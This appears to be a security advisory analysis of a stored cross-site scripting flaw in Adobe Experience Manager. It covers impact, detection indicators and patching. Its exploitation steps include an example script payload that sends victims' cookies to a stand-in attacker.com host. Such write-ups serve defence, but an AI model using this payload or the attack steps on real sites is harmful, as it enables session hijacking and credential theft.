CVE-2025-64559: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64559 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premise) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, with Adobe releasing the advisory (APSB25-115) the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, authenticated attacker can inject malicious JavaScript into vulnerable form fields within AEM; the stored payload is then executed in the browser of any victim who visits the page containing the affected field. Exploitation requires user interaction (a victim browsing to the compromised page) and operates over the network, with a changed scope indicating the impact crosses the security boundary of the originating application (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, or redirection to malicious sites. The changed scope means the impact extends beyond the attacker's own session to affect other users of the AEM instance. Confidentiality and integrity are both assessed as low impact, with no direct availability impact (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privileged access: Register or use an existing low-privileged AEM author or publisher account to access content editing functionality.
3. Identify vulnerable form fields: Navigate to AEM content pages or forms that accept and store user-supplied input without adequate sanitization.
4. Inject stored XSS payload: Submit a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger victim execution: When an authenticated victim (e.g., an AEM administrator or another user) browses to the page containing the injected content, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) from low-privileged accounts containing script tags or encoded JavaScript payloads in request bodies.
• File System: Unexpected JavaScript content stored within AEM JCR repository nodes, particularly in form field properties or rich text fields.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages, potentially carrying cookie or session data in query parameters.
• Process/Application: Browser developer console errors or unexpected redirects occurring when authenticated users access specific AEM content pages.

Adobe has released patches addressing CVE-2025-64559: AEM on-premise users should upgrade to version 6.5.24.0 or later; AEM Cloud Service customers are automatically updated to the 2025.12.0 release. No specific configuration-based workaround has been published; upgrading to the patched version is the recommended remediation. Organizations should also review AEM content for any previously injected malicious scripts and audit low-privileged user activity on content authoring interfaces (Adobe Advisory).

The Center for Internet Security (CIS) published an advisory noting multiple vulnerabilities in Adobe products patched in December 2025, including those addressed by APSB25-115, and recommended prompt patching (CIS Advisory). No notable individual researcher commentary or significant social media discussion specific to CVE-2025-64559 has been identified beyond standard vulnerability aggregator coverage.